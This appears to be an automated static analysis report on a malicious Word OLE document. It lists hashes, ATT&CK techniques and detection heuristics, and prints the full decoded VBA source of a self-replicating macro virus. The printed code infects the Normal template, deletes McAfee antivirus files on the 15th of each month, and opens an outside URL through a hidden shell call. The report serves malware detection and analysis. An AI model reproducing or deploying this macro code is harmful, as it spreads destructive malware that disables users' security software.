Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d9de2c2af4f27b28…

MALICIOUS

Office (OLE)

27.0 KB Created: 2000-12-03 19:17:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 997a91bd373518ea1b34d89fadb06bd5 SHA-1: 89f135e18400819d8e92493ea09da5c0475dbd76 SHA-256: d9de2c2af4f27b284b02fa242a13f9d515b0fab3531b1756c889c88b628354c2
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro with an AutoClose subroutine that executes the Shell() function. This function is used to launch an external program, specifically to start a download from the URL http://www.coderz.net/. The macro also attempts to export a component to c:\1.sys, which could be part of the payload delivery mechanism.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.coderz.net/ In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1369 bytes
SHA-256: b98622e94c08adb4db71208e7b583d6847545426ba546aa35488450abeb2d2bb
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Modulo1"
'------------------------------------------------------------
'WM97.WVSG.1
'Generated by 1
'Created with Word97 VBA SR1 Generator 1.1k
'by -KD- [Metaphase VX Team & NoMercyVirusTeam]
'5-28-00
'--------------Do not edit above this line!------------------
Sub AutoClose()
On Error Resume Next
Application.VBE.ActiveVBProject.VBComponents("1").Export "c:\1.sys"
On Error GoTo Exit_Payload
If Day(Now()) = 15 Then
Shell "del c:\Program Files\mcafee\*.* /y"
MsgBox "Metaphase & NoMercy!!!", 0, "WM97.WVSG.1"
Shell "start http://www.coderz.net/", vbHide
End If
Exit_Payload:
For X = 1 To NormalTemplate.VBProject.VBComponents.Count
If NormalTemplate.VBProject.VBComponents(X).Name = "1" Then NI = True
Next X
For X = 1 To ActiveDocument.VBProject.VBComponents.Count
If ActiveDocument.VBProject.VBComponents(X).Name = "1" Then AI = True
Next X
If AI = True And NI = False Then Set KD = NormalTemplate.VBProject _
Else If AI = False And NI = True Then Set KD = ActiveDocument.VBProject
KD.VBComponents.Import ("c:\1.sys")
End Sub